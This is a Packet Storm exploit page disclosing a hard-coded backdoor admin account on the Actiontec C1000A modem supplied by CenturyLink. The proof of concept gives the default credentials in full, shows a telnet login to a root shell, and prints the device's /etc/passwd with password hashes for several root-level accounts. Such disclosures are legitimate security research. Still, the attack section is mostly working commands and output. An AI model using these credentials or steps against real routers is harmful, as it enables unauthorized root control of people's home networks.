exploit the possibilities

Actiontec C1000A Modem Backdoor Account

Actiontec C1000A Modem Backdoor Account
Posted Nov 7, 2017
Authored by Joseph McDonagh

The Actiontec C1000A modem has a hard-coded backdoor admin account.

tags | exploit
MD5 | 9b26731e44af5a8e6e15a0558e3e6416

Actiontec C1000A Modem Backdoor Account

Change Mirror Download
# Exploit Title: Actiontec C1000A backdoor account
# Google Dork: NA
# Date: 11/04/2017
# Exploit Author: Joseph McDonagh
# Vendor Homepage: https://actiontecsupport.zendesk.com/hc/en-us
# Software Link: N/A Hardware
# Version: Firmware CAC003-31.30L.86
# Tested on: Linux
# CVE : NA

# The Actiontec C1000A Modem provided by CenturyLink has hardcoded passwords. This is similar to another recent submission by Matthew Shiemo, who inspired me to check the device I use.

# Proof of Concept

$ telnet 192.168.0.1
===Actiontec xDSL Router===
Login: admin
Password: CenturyL1nk
> sh

BusyBox v1.17.2 (2015-10-30 10:34:29 CST built-in shell (ash)
Enter 'help' for a list of build-in commands

# cat /etc/passwd
admin:Rtqa.nQhYPBRo:0:0:Administratir:/:/bin/sh
support:vmiTSa8ukDkOY:0:0:Technical Support:/:/bin/sh
user:Fq10qi6QmLmmY:0:0:Normal User:/:/bin/sh
nobody:rZy3YulyLvuYU:0:0:nobody for ftp:/bin/sh
# cat /proc/version
Linux version 2.6.30 (waye@hugh-PowerEdge-R220.home) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Oct 30 12:32:15 CST 2015
# cat /etc/group
root::0:root,admin,support,user


Login or Register to add favorites

File Archive:

December 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    18 Files
  • 2
    Dec 2nd
    11 Files
  • 3
    Dec 3rd
    23 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    13 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close